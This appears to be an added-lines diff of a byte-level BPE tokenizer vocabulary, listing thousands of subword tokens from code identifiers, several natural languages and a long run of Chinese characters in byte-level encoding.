+Ġbraz +cae +ynet +/pm +/screen +OPTARG +ĠVBox +Ġleopard +_greater +cpt +<dd +Ġmechanically +ospels +)f +.lwjgl +.getPort +ĠPREF +.AddTransient +ppard +ĠíļĮ +Ethernet +Ġsaline +(levels +ĠserviceProvider +.Angle +altitude +illaume +Ġscape +_CALC +_quest +ĠDissertation +ĠEDM +-Cds +Ġhonorary +stops +Ġsubdir +ĠVH +ĠCheat +Ġrightfully +QE +.WriteByte +figures +ennie +(DBG +Ġvoksne +Ġexpended +UNICATION +ilinx +ĠRecap +_verts +Ġtraumat +ĠgetPlayer +Ġverbess +Ġcultivating +Ġinitiator +Thông +findFirst +_perms +Ġbuc +Ġ"""čĊčĊ +TYPES +objectManager +(ConfigurationManager +Ġtimid +Ġsnapchat +Ġconseg +ĉdistance +_rights +_Des +ĠFlesh +-ver +Ġafl +frauen +Ġblasph +ĠQualität +maf +Monitoring +.Diff +Ġshoreline +ĠresponseBody +memset +<decimal +SmartyHeaderCode +Ġinsets +ĠBinaryTree +ameda +Ġnihil +ĠNay +ymology +ĠWG +Ġtapi +ĠInstalled +maintenance +)}"Ċ +ĠXO +-period +sar +Ġninguna +ORMAT +.setPrototypeOf +ĠKb +ĠHenrik +étique +ĠLahore +ĉAddress +Ġmelts +Ny +_advance +Ġvelocidad +Ġalumno +Ġsanitizer +Ġphishing +ĠComet +Ġchiar +ĉspec +trimmed +(statearr +onnen +Revenue +Lens +Ġchaired +ĠAssumes +Trash +_unset +\Bridge +PointSize +ĠPolic +Ġsexuales +ĉdfs +ĠWideString +Ġaccrued +YW +_SCHEDULE +Ġkite +Ġparachute +[table +ĠactiveClassName +.Quad +Israeli +ĠÅĵ +Ġhoog +Ġchá»ī +ewear +Ġtirelessly +setError +.getAmount +.setItems +ĠManson +ĠBayesian +_Flag +ACHER +/original +Ġimmac +ĠLosing +'>ĊĊ +Lic +ĠMirage +ĠAssemblyFileVersion +TeV +ĠValueEventListener +-solving +Tho +roulette +_WP +Ġuninterrupted +ĠfieldType +.Typed +Ġamour +Ġmockery +(vol +ĠSubcommittee +ĠRuf +erox +:UIButtonTypeCustom +ĠBlur +Ġwykon +nces +ASHBOARD +!!");Ċ +Ġmurderers +.daily +ĠDIAG +jing +Ġdolphin +Ġlòng +Ġbö +ĠVocabulary +.StObject +')"> +Ġzun +Ġscrimmage +tréal +ĠLig +[vi +Cole +Ġfrosting +.Players +-translate +Feels +=\"/ +.ButterKnife +Ġ?>;Ċ +Ġavi +innie +.Failure +Ġspindle +ConfigurationException +_hop +Ġposição +ĠAwait +UIImagePickerController +ĉday +Ġgenom +Cab +ĠÑĢезÑĥлÑĮÑĤаÑĤ +ORIGINAL +Ġejaculation +(tcp +SECOND +Ġtonic +ĠListBox +ĠĉĉĊ +()>Ċ +Ġquatre +ượng +withErrors +.Maybe +,â̦ +tokenId +_UNDEF +Ġfreshness +ĠAmendments +.mapbox +.CV +(blog +_gettime +.quest +sparse +Ġresale +Ġenthusiastically +ĠProstitutas +Wa +Cargo +.Parcelable +SENSOR +ĠRyu +Laughs +_Native +/pg +ysts +Ġphotoc +ç®Ģ +adopt +.species +conciliation +Adjusted +.FirebaseAuth +uttle +ordination +Ġmunch +ĠStake +.ping +anker +(QStringLiteral +Ġsubscript +ĠĠĉĊ +ĠMCC +_Cmd +sexy +iou +ĠMANY +Ġnanny +TRAIN +Ġflourishing +ĠWatches +ĠQMap +ĠFerm +Ġwasm +ĠAbed +_UD +ĠGlasses ++v +Attend +.Chain +Ġdecency +ĠSupplementary +hunter +-txt +Ġ"}";Ċ +.setWindowTitle +("<? +ĠnumberWithInt +Ġafar +ç§»åΰ +ritte +/lists +)âĢĿ +Ġdiversas +Ġember +.ReactNode +Ġkang +ĠStamford +[at +.closePath +Ġcontraceptive +(locations +Ġavanz +ĠContainers +ĠScholars +.accuracy +ĠвÑĭполн +åķı +="-- +ĠWrestle +ĠGuantanamo +Ġnymph +(guess +.setColumn +_tE +.contentMode +Ġinvalidated +ĠShooter +ĠMater +.Submit +Ġangled +navbarDropdown +Ao +Ġæµ +иÑģк +ĠSCAN +ĉcm +ĠMarkt +truck +;'Ċ +////////////////////////////////////////////////////////////////////////////////ĊĊ +Ġghetto +Ġbuiten +ĠClown +:! +Ġchimpan +'field +ammo +ĠDepend +)}) +(FLAGS +ĠRCA +ĠChoir +LoginPage +ĠGord +Compact +-pocket +Ġconsultar +ĠIntercept +ÅŁtir +uetype +onents +ĠstartPosition +Ġposix +ĠWohnung +_EXPRESSION +ĠLoginActivity +(opcode +ĠTango +ĠNumberOf +.overflow +ĠWCS +ĠOccupation +_cg +.Topic +ĠCareers +ARATION +.getLine +Ġì¢ħ +ĠNacht +ĠtoItem +inclusive +aviest +-appointed +(internal +CONTEXT +(digits +={"/ +Ġplaywright +Ġdeadliest +leads +.PUT +Ġ*}ĊĊ +ĠPact +ĠDiscounts +LocalizedMessage +ĠMänner +_> +Ġmascara +(Profile +åĬŁèĥ½ +imité +Ġwildfires +-ROM +.isOn +(groupId +Repair +accumulate +Ġ<", +Ġhandwritten +Ġacheter +ĠMGM +ĠIrma +->{_ +gee +criminal +Ġèĭ¥è¦ģ +Ġmomentarily +")!= +_lit +ĠexpiresIn +."). +éķ¿åº¦ +Ġfrække +vlc +Ġorbs +),$ +Ġventured +/>\ +charm +Nuitka +eldig +atonin +Witness +-lat +ĠsetHidden +Ġrelics +Ġconsulate +.IGNORE +"After +ĠsetAddress +Ġbesteht +Ġ'')ĊĊ +.xaxis +Ġserão +Ġmisled +_UNIFORM +ĠVIA +incr +Ġzenith +Ġviscosity +Ġthinly +.getSharedPreferences +.ErrorCode +")," +ĠMillionen +Ġ/>)Ċ +ScrollIndicator +-seeking +ĠPOLITICO +asca +_rl +Navig +(fullfile +Ġsolitude +Ġjuven +Ġhauling +ĠMacros +ĠGry +Ġexercitation +ĠATTACK +TickCount +Ġrites +Ġdoe +ParticleSystem +Ġslu +WindowText +ĠClassName +Ġslander +ĉPort +jong +?a +.Dial +âĢĶat +$objPHPExcel +Ġsoar +ENN +appeared +Ġquotid +emachine +Ġnip +Ġmicrotime +ĠAlma +;! +------------------------------------------------------------------------------------------------ +ĠPassage +Ġdumpsters +ĠExclude +Ġsuggestive +ĠCircularProgressIndicator +_clr +ArrayType +ILLA +ElapsedTime +Driven +ĠresourceName +ĠGarrison +serir +-ahead +Ġpinnacle +ĠEspresso +Sparse +Ġassays +ĠGirlfriend +imid +]='\ +ONGLONG +Ġportraying +Lane +Ġbúsqueda +Ġreinforcements +ĠSpreadsheet +ĠArrayCollection +,arr +lightbox +icana +<" +builders +Kid +ĠMatSnackBar +EXPR +odcast +ĠFoundations +Ġinds +='${ +Fizz +-functional +(workspace +Ġstemmed +_patches +ĠJarvis +READING +Ġdisrespectful +ĠQDom +Ġ${Ċ +estatus +Reached +!.ĊĊ +ILT +ĠNDEBUG +ĠCourage +birthdate +ĠTing +Ġutilizado +ánchez +Outdoor +Ġhandguns +RefCount +ÉĻ +romo +Ġtts +.She +ĠPane +ãĢij,ãĢIJ +ĠIOCTL +/black +inscription +Ġbiopsy +ĠTimeInterval +.TestCheck +ĠGUIStyle +ĠCapability +ĠBeitrag +donnees +Treatment +.backup +Ġsignings +ĠBoca +drm +.MAIN +Ġgoede +ĠMarkup +GREE +ĠBaseService +.Creator +Ġjails +ĠKahn +IpAddress +ACHI +Ġinhibited +Ġ@$_ +ĠAssass +Ġenviado +Heroes +ÐŁÐµÑĢ +ĠMaven +.ls +Ġive +|RF +ĠresizeMode +Ġrumpe +_attachments +TU +Ġtactile +Attempting +Ġrobin +yaw +Ġmercenaries +ĠHabitat +enddate +Ġoxy +ĉRandom +ohon +IsNull +ĠValidationResult +ãĥļ +umbed +ppv +Ġarp +ichick +_rnn +ĠTFT +TexImage +"On +ĠSampler +topl +Ġjane +yling +ĠUNICODE +TabIndex +<{Ċ +suspend +uvian +,application +олиÑĩеÑģÑĤво +yat +ezier +ĠCHUNK +ĠAdler +/Add +ĠKeyValue +Ġsposób +Sampling +chers +_AMD +Ru +.MustCompile +Nation +Assoc +Managing +ĠEngl +_GB +Ġsuccinct +Ġdisliked +ĠIke +Bulletin +_ARCHIVE +Proposal +Ġjogging +.CREATED +Ġchol +è£ħ +Į¨ +-push +Ġreserva +corev +ètre +THR +Ġincompetence +Ġcharisma +æĦŁ +Ġ"== +BTN +ĠLocator +ivet +('.')Ċ +ĠforIndexPath +ôme +Ġcapacit +waters +ĠWRONG +hoa +ĠMIPS +Ġemiss +ĠJacqueline +(cmp +Ġeens +Leo +.timing +CLUSION +Ġ("- +åĵĪ +.kode +ĠUndert +Ġbewild +ĠEssen +.hd +Ġrenegot +Ġmower +Ġlsp +Ġpenchant +Ġmanoe +Ġagli +Ġrecal +ĠOPERATION +(^)( +Ġν +ĠScoped +Ġ@"Ċ +=label +[loc +Intl +ĠNz +tablet +.ColumnName +ĠscreenSize +DBus +cooked +-registration +âĢľOne +-non +ĠwiÄĻc +Ġcosta +.addTab +.conditions +ĠHess +MEMORY +ĠAvalanche +()}}Ċ +Ġtriplet +Ġlabyrinth +ĠNodeList +ĠNYT +Ġyeni +dff +.HtmlControls +AVIS +/Math +Ġmemcmp +اء +оÑģÑĮ +crap +(pages +Ġlxml +ĠQDateTime +_tcb +Ġopenid +Ġsynaptic +ĠMDMA +(slug +igmatic +enor +Ġcramped +GOP +ŃIJ +.isFile +ĠDifferential +Ġ="";Ċ +ĉĉĉĠĠĠĠĉ +ĠCooke +ĉUFUNCTION +Ġperseverance +RelativeLayout +IMPORTANT +Ġexon +Ġон +ibase +(CONT +novation +ä½ķ +[sub +AdminController +HTTPHeader +crear +ĠNIR +ĠDropDownList +Ġvalide +Ġdehydration +.'] +(WIN +Ġ...\ +Ġphotoshop +ĉInit +_cou +ĠtimeZone +darwin +romatic +NavigationItemSelectedListener +brates +]--;Ċ +Ġtragedies +ĠPediatrics +SMART +-API +ĠMessageLookup +ĉvo +Ġprejudices +ĠmA +Ups +ĠMISSING +ĉad +Cream +ĠTb +ĠMona +_ghost +ĉtypes +Emb +ĠDocumentary +');ĊĊĊĊ +Ġlup +_Reference +ĠBATCH +Ġintertwined +<Cell +ĠCabr +nation +ĠisConnected +.removeListener +Ġcong +_ti +ĠSilicone +Ġê²°ê³¼ +ĠWAN +ĠGibraltar +/response +ĉperson +chants +VIP +emergency +PixelFormat +-Am +Ġsouthwestern +_pll +ifers +_ONCE +ĠFayette +.ncbi +_Panel +.Qual +Ġpolys +ĠcreateStackNavigator +�t +Ġlayoffs +ĠBlanco +Feat +ĠVimeo +_chi +_lifetime +POINTS +,private +Ġunbearable +printing +Ġcgi +.BACK +Ġinterns +ĠNewly +infeld +(IB +ĠKata +ĠDefendants +Thr +é¢Ħ +_VF +FFFFFFFF +Ġdavidjl +Ġbitterly +Suggestions +.setCancelable +FINAL +asons +_rwlock +_WRAPPER +Ġhappiest +(rowIndex +ósito +TOTYPE +Automation +LogFile +Ġconsolation +ãĥĢ +Ġtêm +Ġprer +rgyz +ĠGeg +ĉdto +.defaultValue +ĠKami +ĠASE +optimized +Ġíı¬ +Ġoriginates +errMsg +Ġespaço +(SYS +ĠMcB +dance +_detected +Ġfrü +ĉĉĠĠĠĠĉĉ +<Date +(comb +ĠDecide +\Field +ĠProposed +Rib +Ġdislikes +ĠWien +ĉDocument +Ġtraf +Ġstoria +ĠTells +')== +Cri +(VALUE +ĠBurnett +,void +Ġdanh +Ġccp +Blockchain +:"-"`Ċ +IClient +ISODE +Issuer +)}čĊ +,but +ĠUph +(Sub +Ġtéléphone +ĠonDataChange +Ġmarshaller +-analytics +,content +Ġdebacle +_ValueChanged +Ġfauna +Ġ#=> +Ġfoyer +'utilisation +ĠMüller +ĠFetish +ĠdefaultManager +Ġbacktrack +Bah +Explicit +_ASCII +ĠmActivity +(Msg +Ġê²Į +ĠTERMS +ĠAngie +HSV +ĠMosque +.Names +íĬ¼ +reste +_parms +Ġgaping +Ġcropping +DataFrame +Ġresponsiveness +_undo +_tran +.terminate +Ġitaliane +Ġwalkthrough +Ġattractiveness +де +_STS +_learn +Ġchocolates +ierarchical +-thinking +Ġ))) +ishments +.Logf +ĠTMZ +ĠCanary +foil +ĠVaccine +.vx +ĠSurround +Intermediate +Ġiov +vais +';";Ċ +ï½ŀĊĊ +éĢģæĸĻ +â̦it +Seats +Clar +Wars +ĠHutchinson +ĠHasan +!')ĊĊ +ĠRichie +cheiden +($(' +York +Ġlids +Ġalphanumeric +ĠGlock +.shapes +Ġsparking +_epsilon +uplicated +.dirty +])== +ĠìľĦì¹ĺ +Ġscn +Ġ/**************************************************************** +_PREVIEW +_HC +ielding +fgets +ĠAddison +ĠproductService +-figure +(retval +zano +Ġautob +ĉsd +_numer +ĠSetLastError +ĠFior +ificance +Untitled +Ġinfield +Ġ{}));Ċ +Ġspac +Ġrookies +(describing +ngen +ி஠+.rdf +.Mutex +Ġkneeling +ĠQE +setMax +ReadStream +Ġventas +sut +cmpeq +.WriteAllText +ĠExperienced +$__ +Ġkaum +ĠLIS +Ġdocumentos +_HEALTH +icontains +Ġartisans +OWNER +Ġblinked +getDisplay +Ġtoen +ĠrowNum +Ġavril +Ġinvis +ĠKear +toBeInTheDocument +apur +Ġracked +ĠMcMaster +_ATTRIB +Haz +Ġfactura +/ts +ĠÑĢазмеÑĢ +Ġzf +Ġshortfall +.fasta +ĠCONSTANT +.managed +gems +SharedPointer +Ġblurry +brightness +(components +Ġ..."ĊĊ +SELL +ĠIllustrator +.getChannel +Ġtrouvé +ysters +Ġvois +ĠLinden +Ġemojis +Ġbrawl +ĠMSR +ĠElo +ĠCroatian +PopupMenu +Lewis +.JWT +Ġastonished +Bush +(itemId +Ġdetachment +ĠEncore +å°Ķ +Ġrekl +Ġcram +)$/ +.getHost +_recommend +-HT +_calibration +Authenticate +.firebaseapp +UNIX +ĉCamera +ĠHEAP +Ideal +.office +Ġgoofy +(Symbol +Ġjouer +_partitions +Ġrapidement +ĠGNUNET +idUser +Ġsupervise +(Contact +AWN +ãģĺ +Ġnaam +Ġaust +åľ¨çº¿ +_softmax +AllowAnonymous +ammable +ROUTE +*D +Ġaden +ĠCristina +ĠCristiano +Ġbloodstream +subclass +_persona +CHILD +-know +ĠnavigationOptions +ĠZukunft +ĠPixar +Tyler +Ġunderworld +Ġsincerity +Ġdispenser +Ġkter +idders +.addNode +-checked +Ġkeyst +ĠWTO +.signals +Ġadventurer +ĠPang +\R +=pos +Ġdispensaries +ĠCloset +("{\" +ideon +Ġnécessaire +()"Ċ +_RECEIVED +Ġrésultats +Ġmoden +ĠIcelandic +;d +.allowed +(newUser +Ġmerciless +.WaitFor +Ġdaycare +ĠConveyor +çĸ +ð¬ +çĥ +çĹ +çł +èĦ +é² +å¦ +çĿĢ +å¾Ī +éħ +çĭ +éª +æĤ +é¥ +èħ +æĥ³ +å¨ +é¹ +çĤ +åĴ +çĮ +è´¨ +æ¢ +æ°Ķ +ð« +æķĻ +çŁ +åĦ +åıijå±ķ +åĪĽ +èij +æħ +åŀ +åģļ +æĪĺ +æIJ +强 +æ·± +åĩł +ç¿ +å© +èŀ +å§Ķ +åIJĦ +èİ +é¸ +éº +åıĹ +èģĮ +åĺ +æ½ +é£İ +èIJ¥ +åħļ +èľ +éĤ£ +é¢Ĩ +çij +é³ +æľ¯ +ä»Ģ +æĪ¿ +ç²¾ +åª +éĨ +太 +èĤ¡ +èĽ +åħī +æŀģ +åĬŀ +èĵ +çĺ +å´ +åĹ +èĬ± +çłĶ +å¿« +å¸Ī +è¶Ĭ +è§Ĥ +æ¤ +æ¦ +çŀ +èĤ² +çα +çϽ +ä¸ĸ +ä»Ģä¹Ī +çľ¼ +å³ +èĴ +æĵ +被 +å¹² +çĹħ +士 +çĴ +è¸ +æ¾ +å·¥ä½ľ +让 +çĥŃ +è¾ĥ +åĦ¿ +åĬ© +积 +ç³ +çĵ +ç£ +åĤ +è¹ +èļ +å·± +çϾ +åĬ¿ +èµĽ +æ¨ +æ¿ +èĸ +æĿij +带 +å¢ĥ +æĬ¤ +éŃ +å« +èĩªå·± +æµİ +ä½İ +åĮ» +éĺ² +åĨľ +èĨ +çĨ +é« +åĨĽ +æĪı +åįĩ +æĸ¯ +ä½ı +èIJ½ +åħ» +èĩ´ +çĬ +çĩ +çħ +èĶ +ä¼ģä¸ļ +åĽ¢ +æīį +æł¡ +åĩĨ +å¥ĩ +åī¯ +é¼ +æ¼Ķ +马 +èµ° +ç¥ŀ +åħĭ +æľĽ +æ²¹ +è¾¹ +åįĥ +å¾Ģ +åĪĩ +æ© +ç¶ +åĻ +éĻħ +çīĮ +社ä¼ļ +游æĪı +æĸ½ +çħ§ +æİ§ +满 +è¯Ĩ +éĩįè¦ģ +è¶³ +çķĻ +ç»Ĩ +åįı +éĢĤ +æĩ +æ§ +éĦ +èĿ +å¸Ĥåľº +ç»ıæµİ +ä¹ł +æĸĩåĮĸ +éļ¾ +ä¹IJ +åĨ³ +欢 +è§ī +åĽŃ +åħ´ +åħħ +举 +æī¹ +èķ +æĬĬ +æĬĢæľ¯ +ç©¶ +第ä¸Ģ +便 +åĵį +çİ© +åĿļ +èŀį +åįĬ +åĸľ +å±Ĥ +离 +ä»ħ +éŁ +åij³ +念 +åŃ£ +ç´§ +ä¹ħ +é¤ +éŀ +è¤ +åĢĻ +åĨµ +çŁ³ +åģ¥ +æĢİ +å®Ŀ +è¡Ģ +åŁŁ +æĹ© +çŁ¥éģĵ +è´Ł +åįļ +å·´ +亲 +å±ŀ +严 +äºī +å¯Ł +èº +ç° +建设 +产ä¸ļ +åIJĥ +åŃ© +æĹħ +æł¹ +æĿIJ +ä¼Ĺ +éļı +å®ĺ +åºķ +彩 +å¯Į +温 +åį« +åī§ +çĽĬ +æĬĹ +è´¢ +纪 +æĨ +çĶŁæ´» +红 +çĶŁäº§ +è¿ľ +éĴ± +åĶ® +群 +çıŃ +楼 +éĩĩ +èīº +å±ħ +åģĩ +è°Ī +æĻļ +é¬ +èĪª +害 +èĹ +çį +åµ +çİĭ +康 +èİ· +ç»Ń +äºļ +é£Ł +åİĭ +æĭĽ +èĮĥ +许 +åĽ´ +é½ +éĻį +纳 +åĵª +æķĻèĤ² +å·²ç»ı +å¾· +æŀĹ +å®īåħ¨ +é¾Ļ +大家 +éĿĴ +åºľ +æ²³ +åı¤ +èᝠ+åĿĩ +æĻº +乡 +çķ¥ +åĨ· +ç¦ı +室 +ç»´ +æī¿ +å±Ĭ +è¯ī +åĪ» +èŁ +æª +å°±æĺ¯ +è¿Ļ个 +ä¸Ńå¿ĥ +ä¸ĸçķĮ +åŁİå¸Ĥ +éĿŀ常 +åĪĴ +åıĮ +æĢİä¹Ī +åΰäºĨ +æľĥ +åı² +ä¾Ĩ +å¾ĭ +å¥ĸ +ç»Ī +åªĴ +å®ģ +课 +èģĮä¸ļ +åħį +æµĭ +æĢ¥ +æķij +çĭ¬ +èѦ +é¤IJ +æĦ¿ +è´« +çĸij +åļ +她 +åıĪ +åĽłä¸º +ä¸įæĺ¯ +å¤Ł +æĸ¹éĿ¢ +éķĩ +äºĴ +éħĴ +讲 +çĸĹ +æĺ¥ +æ¹ĸ +å¤ľ +责任 +人æ°ij +åħ° +çŁŃ +æķħ +åĩı +æĻ® +亮 +ä¾Ŀ +åį° +éĿĻ +åĢĭ +å¾ģ +åIJ¸ +缺 +æĶ» +åĩĢ +åħ¸ +åĽº +访 +ç¹ +çĢ +æıIJä¾Ľ +ç»ĩ +å¾Īå¤ļ +çłĶç©¶ +è·Ł +主è¦ģ +æĥħåĨµ +çŃĸ +æŃ» +大åѦ +æĶ¿åºľ +å½±åĵį +ä¹° +åħŃ +éĻ© +åħ« +æŁIJ +è´¨éĩı +åįł +å·® +æĽ´å¤ļ +æľĭ +éĿ© +宣 +çł´ +è½» +座 +æĺ¾ +稳 +è´µ +èĥĮ +èī¯ +çĸ« +æ¯Ĵ +ä¹İ +åĢŁ +è¿· +çŃĶ +æ¿Ģ +åij¼ +äºĨä¸Ģ +è¶£ +ä¼´ +ä¼Ļ +è¼ +ð¬Ń +åĽ½å®¶ +æ´»åĬ¨ +çİ°åľ¨ +ç§ijæĬĢ +åį¡ +ä¸įåIJĮ +个人 +è®°èĢħ +ä¸įæĸŃ +éĹ» +ä¹Ŀ +èijĹ +综 +ä¸ĥ +æłij +æľĭåıĭ +åįĸ +伤 +æ²Ļ +åĸĦ +å¥Ĺ +è½® +ç©¿ +è¡¥ +ä¸Ģå®ļ +çªģ +çĿ£ +追 +å¨ģ +åı¦ +åĽ° +æŀ¶ +ç»Ŀ +æķ£ +æİ¢ +æ´Ĺ +临 +ä¼¼ +è´¸ +丰 +æĺ¯ä¸Ģ +ç«ŀ +è¿İ +èģļ +è« +æįŁ +æī§ +驾 +è¿Ŀ +è¥ +èł +ä»ĸ们 +æĹ¶åĢĻ +å®ĥ +人åijĺ +è¿Ļæł· +å·¥ç¨ĭ +åĪĽæĸ° +åŃ©åŃIJ +å¸Į +éĥ¨åĪĨ +éĵ¶ +代表 +é¦Ļ +帮 +æİ¨è¿Ľ +çĽĺ +积æŀģ +éĥ¨éŨ +åŁ¹ +æŃ¦ +ä¸įä¼ļ +çŃij +éĢĻ +çݩ家 +æĭ¿ +åİĤ +æ¯Ľ +çģµ +æŃĮ +绿 +å¦Ī +缼 +é¦Ĩ +顺 +èĦ¸ +å°¼ +丽 +奥 +éģĩ +è¯į +å°ģ +ä¸Ŀ +好çļĦ +æĭħ +èĦ± +æģ¶ +åİļ +åĬ³ +缣 +æĬĺ +åı¥ +æĢĢ +æŁĵ +书记 +åĨł +é²ľ +æ¦Ĥ +éļIJ +å¹ħ +èµŀ +å¹ķ +æ¥Ń +éģĹ +åΤ +èĺ +å¶ +æĬķèµĦ +è¡Įä¸ļ +äºij +çݯå¢ĥ +åѦçĶŁ +åIJĪä½ľ +åģ¥åº· +é£ŀ +ä¸ĢæŃ¥ +ä¸Ģ缴 +åıijçĶŁ +éĺ¿ +é¢Ĩ导 +åĸľæ¬¢ +åºĶ该 +çĤº +è®Ń +æĿĢ +港 +交éĢļ +éĺ¶ +éĴ¢ +令 +å°½ +æ¯į +è¡£ +ç²ī +é¡¶ +ä¹Łä¸į +æĬĵ +èĭ¦ +幸 +礼 +第ä¸ī +大çļĦ +éģİ +çĥŁ +éģ¿ +ä»į +åºĨ +æĢķ +è°¢ +çĽĸ +å°Ħ +éľ² +æĸĹ +çĬ¶ +åѸ +æ¯ķ +å·¨ +çŁ¿ +çļĩ +å¸Ń +çĹĩ +æī¬ +å»¶ +ä¾§ +æ·¡ +çļĦä¸Ģ +ç¶² +æ´ģ +ç¸ +è§Ī +çѹ +ç§ĺ +è¯Ĭ +çı¾ +èªī +毫 +ð¨ +åį´ +æĪIJ为 +èĥ½åĬĽ +é»Ħ +æĹħ游 +èά +æ¯Ķè¾ĥ +èµ·æĿ¥ +äºĨè§£ +èĩªçĦ¶ +ä¸Ģ次 +åŁºæľ¬ +æĽ¾ +综åIJĪ +èıľ +è§īå¾Ĺ +第äºĮ +è·ij +æ³¢ +åĢĴ +ç¡Ģ +åħµ +èįī +çͳ +çͰ +æĤ£ +è§Ħå®ļ +èĥľ +èµĦ产 +梦 +æľĿ +è¿ĻéĩĮ +夫 +æĮ¥ +ä½Ľ +å®Ī +鼶 +æĸ¼ +ç¯ĩ +å²Ľ +åĵ¥ +éŃĶ +ä¸įåΰ +æīĺ +åºĬ +欧 +èᣠ+æ±ĩ +æī© +åģı +å¢Ļ +讯 +å©ļ +æĥł +æ´ĭ +å®ľ +润 +æħ¢ +éĢı +宽 +顾 +ç´¯ +污 +çĪĨ +ç§Ł +æĥĬ +涨 +饰 +éĺµ +饮 +æļĸ +åºŁ +æĹĹ +éļĶ +ç¶ĵ +åĭĻ +實 +éĢĶ +æī« +çĥĪ +鼻 +åĪij +éĹľ +éĹª +å¥ĭ +åĤ¨ +缩 +ä¾µ +å¬ +𬶠+åĽ½éĻħ +ç»Ħç»ĩ +ä¸ĵä¸ļ +åıijçݰ +å¸ĮæľĽ +ç»ıèIJ¥ +åı« +æĿ¥è¯´ +éļľ +ä»»ä½ķ +交æĺĵ +éĩįçĤ¹ +çļ® +ç»į +æ´¾ +ç§ijåѦ +åºĶç͍ +建çŃij +èĤī +æĶ¹éĿ© +åŁºç¡Ģ +æ±ī +åĩºæĿ¥ +è¿Ļä¹Ī +åĪļ +åĿIJ +ä¸įä»ħ +ä¼ļè®® +éĿł +åªĴä½ĵ +æ°¸ +åĨ² +èĭı +央 +çζ +åłĤ +å®ŀéĻħ +è¡Ĺ +ç«¥ +éĺħ +äºĭæĥħ +åİŁåĽł +éħ¸ +以æĿ¥ +娱 +宫 +åĿĹ +绩 +éĩİ +ä¸įå¾Ĺ +ä¼łå¥ĩ +硬 +åİħ +æĹ¢ +ç»ĥ +èĦij +å¼± +æİĮ +è´´ +æĮĤ +åħ³éĶ® +å°ļ +é¥Ń +åºĦ +çϼ +åľĭ +æİĪ +个æľĪ +äºĪ +å¸ģ +è·Ŀ +æ²ī +竣 +åĨ¬ +æĬ½ +éĨĴ +å¼Ł +触 +èģĺ +è±Ĩ +æļ´ +åijĬè¯ī +豪 +èµ¢ +è·¨ +è³ĩ +çΏ +æĬ± +浪 +麻 +仪 +è¡¡ +奶 +çģ¾ +èµ¶ +èĤ¥ +å§IJ +åĢº +éľĩ +订 +æ¬Ĭ +ç· +å»ī +ä¿Ĺ +å¿ĺ +å¦ĩ +ç¼ĵ +åŃķ +漫 +è£ģ +çĩĥ +é»ĺ +çī¢ +çĪ· +æĬµ +宾 +æľīä¸Ģ +迹 +è¿« +è²Į +æľīçļĦ +ð¬ĺ +è¿ĺæĺ¯ +æīĢ以 +ä¹Łæĺ¯ +è¿ĻäºĽ +对äºİ +åIJ§ +缮åīį +èĩªå·±çļĦ +èĥ½å¤Ł +å¦Ĥä½ķ +æľºæŀĦ +åıªæĺ¯ +ç½ijç«Ļ +åħ¨éĿ¢ +为äºĨ +å¼Ģåıij +æĸ°éĹ» +éĩijèŀį +ç»§ +客æĪ· +ä¸Ģèµ· +èĮ¶ +åħ³æ³¨ +æ°´å¹³ +åİĨåı² +å¢ŀéķ¿ +é± +åŁºéĩij +åºŃ +åı¶ +ä¿ĥ +鼨 +æ¶Īè´¹ +èι +çŁ¥è¯Ĩ +æĪĺçķ¥ +ç»ıéªĮ +å³° +æĽ² +èĦļ +åĨ° +å¤ı +å½Ĵ +ç¬Ķ +èĻij +çͲ +åľĪ +è¯Ĺ +é½IJ +容æĺĵ +çłĶåıij +骨 +纸 +è·µ +æĹ§ +çķ¶ +åΏ +è´· +åı¬ +ç§ĭ +æ¶² +è¡ĮæĶ¿ +çĮ® +èĤ¤ +éĢIJ +è¶ĬæĿ¥ +è¶ĬæĿ¥è¶Ĭ +æĦıè§ģ +èĪŀ +åīĤ +æ¶ī +ç¨ĭ度 +åħ¬åħ± +械 +æľ« +纯 +åͱ +æ´² +æĬ¢ +æ¤į +å¿Ļ +ä¼° +å¼¹ +æ³ī +æľĢ大 +è¶ĭ +å·§ +ç¦ģ +æī¶ +åį± +çıł +çĨŁ +æĭľ +主ä¹ī +æĿĤ +éĻĦ +éģį +æIJŃ +æĮ¯ +å¤ļå¹´ +æķ¬ +æijĦ +纷 +å¼ĥ +湿 +å¨ĺ +æ¡£ +é©¶ +æľĹ +æ®ĸ +æ¦ľ +åĵ¡ +ä¸Ģä½ĵ +æŁ¥çľĭ +ç¹ģ +æµĵ +åħ¬å®ī +æ½ľ +è´¯ +éªĹ +æIJľ +å·¡ +è¬ +éĬ +å§Ķä¼ļ +æĤł +åī© +æıŃ +åŃ£åº¦ +ð«ĺ +𬬠+ä´ +ðª +ä½Ĩæĺ¯ +éĥ½æĺ¯ +å¹³åı° +åŃ¦ä¹ł +åĵģçīĮ +ä¸Ķ +è¿Ļç§į +æĶ¿çŃĸ +æĭ¬ +认为 +ä¸Ģèά +æłĩåĩĨ +æĶ¯æĮģ +模å¼ı +åħ³ç³» +çļĦæĺ¯ +è¿Ļä¸Ģ +ä¸įè¦ģ +çĶļ +ç²¾ç¥ŀ +æĭ¥ +åĪ©ç͍ +ä¿ĿæĬ¤ +ä½ľç͍ +èĭ¥ +åĽ½åĨħ +ä»ĭç»į +ä¸Ģä¸ĭ +å·¥ä¸ļ +缮æłĩ +æľĢåIJİ +ä»·å̼ +å°į +éĵģ +è°ģ +ç»ĵæŀĦ +éĽª +æĻºèĥ½ +ä¼łç»Ł +ä½ĵèĤ² +çĶŁæĢģ +æĭį +æİª +åĨľä¸ļ +çī¹èī² +è§Ħ模 +æĹ¶ä»£ +è¿ĩç¨ĭ +éĴĪ +æĿ¾ +åĶIJ +åĮ»çĸĹ +çģ¯ +åζéĢł +æł¸å¿ĥ +ä¸įåı¯ +ç³»åĪĹ +åIJī +åľ£ +åĢij +ä½³ +æĿ¥çľĭ +æ¯ĶèµĽ +ä¸ĭæĿ¥ +åĩºäºĨ +å¹²éĥ¨ +微信 +å½ĵåľ° +åį· +åį«çĶŁ +ä¼Ł +çĸ«æĥħ +è°· +åĩłä¸ª +éĺ´ +çĶŁçī© +å°¤ +ä¼Ĭ +èĤ¯ +éĿ¢ç§¯ +åĪĽéĢł +æı¡ +åľĨ +æĻĵ +æĪIJäºĨ +åĩ¡ +çĸ¾ +ç«ŀäºī +讨 +主é¢ĺ +é²ģ +迪 +ä¿Ħ +æĢª +並 +èĻļ +æ½® +çĥ§ +è̳ +æ±ł +éĢĤåIJĪ +æł¹æľ¬ +åĬłçĽŁ +ç͵è§Ĩ +æ·· +ç¼ĺ +çªĹ +çĬ¯ +æĥ¯ +æĦıä¹ī +åĬŀæ³ķ +ä¼ij +æ»ij +åĭĩ 